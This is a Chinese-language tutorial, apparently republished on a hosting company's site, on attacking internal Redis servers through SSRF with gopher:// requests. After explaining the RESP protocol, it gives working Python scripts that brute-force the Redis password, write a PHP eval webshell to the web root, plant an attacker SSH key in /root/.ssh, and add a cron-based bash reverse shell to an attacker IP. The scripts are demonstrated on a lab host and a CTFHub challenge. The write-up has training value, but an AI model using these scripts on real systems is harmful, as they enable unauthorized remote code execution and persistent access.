您好,登錄后才能下訂單哦!
本篇內容主要講解“如何利用SSRF攻擊內網Redis服務”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何利用SSRF攻擊內網Redis服務”吧!
REmote DIctionary Server(Redis) 是一個由Salvatore Sanfilippo寫的key-value存儲系統。Redis是一個開源的使用ANSI C語言編寫、遵守BSD協議、支持網絡、可基于內存亦可持久化的日志型、Key-Value數據庫,并提供多種語言的API。它通常被稱為數據結構服務器,因為值(value)可以是 字符串(String), 哈希(Hash), 列表(list), (sets) 和(sorted sets)等類型。
簡單來說Redis就是一個以Key-Value形式存儲數據的數據庫。
Redis數據庫默認端口:6379
系統版本:Ubuntu 20.04.1 LTS
安裝Redis:
apt-getinstall redis-server
修改Redis配置文件(設置密碼,監聽ip等):
vim /etc/redis/redis.conf
配置監聽ip:
bind 127.0.0.1 ::1#只監聽本地端口,如果需要遠程登錄可以在后面加上本機的ip,同時遠程登錄也可能造成未授權訪問。
配置默認密碼:
#requirepass foobared#默認無密碼,要設置密碼可以將前面的#刪除,然后將foobared改為要設置的密碼。
啟動Redis:
/bin/redis-server /etc/redis/redis.conf
或者
service redis-server start#這種方法啟動可能會造成Redis在web目錄、計劃任務目錄、.ssh目錄等其他一些目錄沒有寫入的權限,就算是root身份啟動,文件夾777權限也不行(就很迷)。如果遇到Redis在執行save時報錯,就還是試試root身份第一種方法啟動吧。
參考這篇文章:https://www.cnblogs.com/linuxsec/articles/11221756.html
Redis 服務器與客戶端通過 RESP(REdis Serialization Protocol)協議通信。
RESP實際上是一個支持以下數據類型的序列化協議:Simple Strings(簡單字符串),error(錯誤),Integer(整數),Bulk Strings(多行字符串)和 array(數組)。
客戶端將命令作為 Bulk Strings 的RESP數組發送到Redis服務器。
服務器根據命令實現回復一種RESP類型。
在RESP中,某些數據的類型取決于第一個字節:
對于Simple Strings,回復的第一個字節是 +
對于error,回復的第一個字節是 -
對于Integer,回復的第一個字節是 :
對于Bulk Strings,回復的第一個字節是 $
對于array,回復的第一個字節是 *
此外,RESP能夠使用稍后指定的Bulk Strings或Array的特殊變體來表示Null值。
在RESP中,協議的不同部分始終以"\r\n"(CRLF)結束。
我們來抓取一段客戶端與Redis服務器的通信數據包來具體分析一下。
在linux中可以使用tcpdump來捕獲數據包:
命令:tcpdump -i lo -s 0 port 6379 -w redis.pcap
參數說明:
-i指定網卡(一般指定eth0,這里抓取本地接口的流量需要指定為lo)
-s抓取數據包時默認抓取長度為68字節。加上-s 0 后可以抓到完整的數據包
port指定抓取的端口
-w保存到文件,后接保存的路徑與文件名
然后我們登錄客戶端,這里我設置了密碼,所以先認證,然后再進行set key的操作。
# redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379> auth 123456 OK 127.0.0.1:6379> set ATL Ocean OK 127.0.0.1:6379> quit
之后我們將抓到的數據包導出,用wireshark打開,然后追蹤TCP流
結合我們上面對RESP協議的解釋,我們來逐行分析:
最上面4行是客戶端自動請求服務器信息,服務器提示我們需要認證,我們就從我們自己發送的認證信息開始分析。
*2 #數組 長度為2
$4 #多行字符串 長度為4
auth #認證
$6 #多行字符串 長度為6
123456 #密碼123456
+OK #服務器返回 普通字符串 OK,表示成功
*3 #數組 長度為3
$3 #多行字符串 長度為3
set #設置key
$3 #多行字符串 長度為3
ATL #key為ATL
$5 #多行字符串 長度為5
Ocean #velue為Ocean
+OK #服務器返回 普通字符串 OK,表示成功
那么我們設想一下如果我們直接發送這樣格式的數據包能否直接對Redis進行操作呢,我們來嘗試一下。我們將客戶端發送的數據包進行一次url編碼。
*2 $4 auth $6 123456 *3 $3 set $4 ATL2 $6 Ocean2 Url編碼后: *2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A (注意將%0A替換為%0D%0A)
然后在本機利用 curl 和 gopher 協議發送給 Redis 服務器。
命令: curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
我么可以看到,服務器給我們返回了兩個+OK說明我們的命令執行成功了,我我們再直接看一下我們設置key 的值,再次驗證一下。
可以看到確實是我們剛剛設置的值,再次證明了這樣的方法是行的通的。那么我們不按照RESP協議的格式發送,如果直接發送命令是否可以呢,我們再試試:
這次我們就不設置key值了,我們直接獲取key的值:
命令: auth 123456 get ATL2 URL編碼后: auth%20123456%0D%0Aget%20ATL2%0D%0A 發送請求: curl gopher://127.0.0.1:6379/_auth%20123456%0D%0Aget%20ATL2%0D%0A
我們可以看到成功返回了我們剛剛設置的key的值,說明直接發送命令的方法也是可行的。
知道了如何讓Redis服務器執行我們的命令,那么接下來我們就來看如何攻擊來達到 getshell 的目的。
攻擊Redis一般有3種思路:在web目錄寫webshell、在.ssh目錄寫公鑰,我們利用私鑰登錄ssh、利用定時任務反彈shell。這三種方法都是利用Redis的備份功能實現的。
在攻擊Redis時如果配置中設置了監聽本機ip,比如192.168.x.x,或公網ip那么我們就可以直接遠程訪問6379端口與Redis通信了,但一般都只會監聽本地端口,這時候我們就要利用到SSRF了。方法同樣也很簡單,只需要在有SSRF漏洞的頁面將數據進行兩次URL編碼發送就可以了,具體方法可以看我之前的文章,這里就不多介紹了。
默認Redis是沒有設置密碼的,這時候我們可以直接訪問,但是如果設置了密碼,我們就要先對密碼進行暴破,得到了正確的密碼才能夠進行進一步的攻擊。
我們使用下面這個python腳本進行密碼暴破,在腳本同目錄下放一個文件名為password.txt的字典然后進暴破就可以了。
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://192.168.48.133/ssrf.php?url=" gopher = "gopher://127.0.0.1:6379/_" def get_password(): f = open("password.txt", "r") return f.readlines() def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder for password in get_password(): # 攻擊腳本 cmd = """ auth %s quit """ % password # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder print(payload) # 發起請求 request = Request(payload) response = urlopen(request).read().decode() print("This time password is:" + password) print("Get response is:") print(response) if response.count("+OK") > 1: print("find password : " + password) exit() print("Password not found!") print("Please change the dictionary,and try again.")
這里我們隨便寫幾個密碼來示范。
可以看到,成功找到了密碼。
首先我們要知道Redis如何寫入文件:
Redis 中可以導出當前數據庫中的 key 和 value
并且可以通過命令配置導出路徑和文件名:
config set dir /var/www/html//設置導出路徑 config set dbfilename shell.php//設置導出文件名 save //執行導出操作
于是我們將隨便一個key的值設為一句話木馬,然后配置導出路徑為web目錄,導出文件名為php文件,這樣執行導出命令就可以在web目錄下寫入webshell了。
我們將上一個腳本中獲取到密碼后在加上一段寫入shell的腳本:
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://192.168.48.133/ssrf.php?url=" gopher = "gopher://127.0.0.1:6379/_" def get_password(): f = open("password.txt", "r") return f.readlines() def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder ###------暴破密碼,無密碼可刪除-------### for password in get_password(): # 攻擊腳本 path = "/var/www/html/test" shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n" filename = "shell.php" cmd = """ auth %s quit """ % password # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 發起請求 print(payload) request = Request(payload) response = urlopen(request).read().decode() print("This time password is:" + password) print("Get response is:") print(response) if response.count("+OK") > 1: print("find password : " + password) #####---------------如無密碼,直接從此開始執行---------------##### cmd = """ auth %s config set dir %s config set dbfilename %s set test1 "%s" save quit """ % (password, path, filename, shell) # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 發起請求 request = Request(payload) print(payload) response = urlopen(request).read().decode() print("response is:" + response) if response.count("+OK") > 5: print("Write success!") exit() else: print("Write failed. Please check and try again") exit() #####---------------如無密碼,到此處結束------------------##### print("Password not found!") print("Please change the dictionary,and try again.")
執行后成功寫入,我們到web目錄下看看我們寫入的文件。
可以看到格式比較亂,不過由于我們在與句話木馬前加了幾個換行符還是能夠清晰的看到我們的一句話木馬。那么我們直接用蟻劍或是菜刀連接看看。
可以看到成功連接到我們的webshell。
寫入公鑰與寫webshell的思路是一樣的,只是改一下寫入的路徑、文件名以及寫入的內容。
不過需要注意,這種方法需要確保靶機允許使用密鑰登錄。
開啟方法:
需要修改 ssh 配置文件 /etc/ssh/sshd_config
#StrictModes yes 改為 StrictModes no 然后重啟sshd即可 /bin/systemctl restart sshd.service
我們先直接嘗試ssh登錄靶機試試:
可以看到直接登錄是需要輸入密碼的。那么我們開始攻擊。
我們先在攻擊機上生成一對公鑰和私鑰。
命令:ssh-keygen -t rsa
一路回車就可以了,然后我們進入家目錄的 /.ssh 目錄下,就可以看到我們生成的公鑰和私鑰了。
公鑰內容:
sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
然后我們將上面的腳本進行略微的改動,將寫入路徑設為:/root/.ssh ,寫入文件名設為:authorized_keys,寫入的內容就是我們生成的公鑰。
path= "/root/.ssh" #路徑 shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n" filename= "authorized_keys" #文件名
只修改以上三行就可以了。然后我們運行腳本
寫入成功,這時候我們再嘗試登錄看看。
可以看到我們成功免密登錄了靶機。
關于定時任務反彈shell需要注意:
只能Centos上使用,Ubuntu上行不通,原因如下:因為默認redis寫文件后是644的權限,但ubuntu要求執行定時任務文件/var/spool/cron/crontabs/<username>權限必須是600也就是-rw-------才會執行,否則會報錯(root) INSECURE MODE (mode 0600 expected),而Centos的定時任務文件/var/spool/cron/<username>權限644也能執行因為redis保存RDB會存在亂碼,在Ubuntu上會報錯,而在Centos上不會報錯由于系統的不同,crontrab定時文件位置也會不同Centos的定時任務文件在/var/spool/cron/<username>Ubuntu定時任務文件在/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root權限)/etc/crontab PS:高版本的redis默認啟動是redis權限,故寫這個文件是行不通的
由于我的靶機是Ubuntu系統,經過測試確實不能反彈shell,所以這里就演示到寫入定時任務,反彈shell就無法演示了。
這里我們先了解一下linux下通過輸入輸出流來反彈shell:
命令: /bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1
/bin/bash -i 表示的是調用bash命令的交互模式,并將交互模式重定向到 /dev/tcp/[ip]/[端口] 中。這里我們將ip和端口改為我們攻擊機的地址和監聽端口。
重定向時加入一個描述符 &,表示直接作為數據流輸入。不加 & 時,重定向默認是輸出到文件里的。
/dev/tcp/ip地址/端口號 是linux下的特殊文件,表示對這個地址端口進行tcp連接
這里我們設置成攻擊機監聽的地址
最后面的 0>&1 。此時攻擊機和靶機已經建立好了連接,當攻擊機進行輸入時,就是這里的 0(標準輸入)
通過重定向符,重定向到 1(標準輸出)中,由于是作為 /bin/bash 的標準輸入,所以就執行了系統命令了。
我們來執行一下試試:
我們先在攻擊機上監聽1234端口:
然后在靶機上執行 /bin/bash -i >& /dev/tcp/192.168.48.129/1234 0>&1
這時候再看我們的攻擊機:
可以看到成功反彈到了shell,并且可以正常執行命令。
接下來我們嘗試寫入定時任務。
path = "/var/spool/cron/crontabs" #路徑 shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n" filename = "root" #文件名
同樣修改以上三行,然后執行。
可以看到提示我們寫入成功,我們再到靶機目錄下確認一下。
可以看到確實寫入成功了,使用crontable命令查看root用戶的定時任務也可以看到我們寫入的內容。
但是由于系統以及權限的原因沒辦法執行定時任務,有興趣的朋友可以嘗試在CentOS中嘗試一下。我這邊環境配置到頭禿就不再試了。
本地環境都已經嘗試過了我們就在嘗試一下在線的環境,還是使用CTFHub中技能樹的環境。
打開環境后頁面空白,但是在URL中看到了 ?url= 按照之前做題的情況來看一看就存在SSRF,那么我們就直接用我們之前的腳本來打。
利用我們之前寫webshell的腳本,只需要修改第五行的url就好。
運行后發現,服務器告訴我們沒有設置密碼,那就更簡單了,修改一下腳本:
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://challenge-b15f0eaddbb74bdf.sandbox.ctfhub.com:10080/?url=" gopher = "gopher://127.0.0.1:6379/_" def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder path = "/var/www/html" shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n" filename = "shell.php" cmd = """ config set dir %s config set dbfilename %s set test1 "%s" save quit """ % (path, filename, shell) # 二次編碼 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 發起請求 request = Request(payload) print(payload) response = urlopen(request).read().decode() print("response is:" + response) if response.count("+OK") > 4: print("Write success!") exit() else: print("Write failed. Please check and try again") exit()
再次運行
成功寫入,然后我們就直接用蟻劍連接一下。
成功拿到flag。
到此,相信大家對“如何利用SSRF攻擊內網Redis服務”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。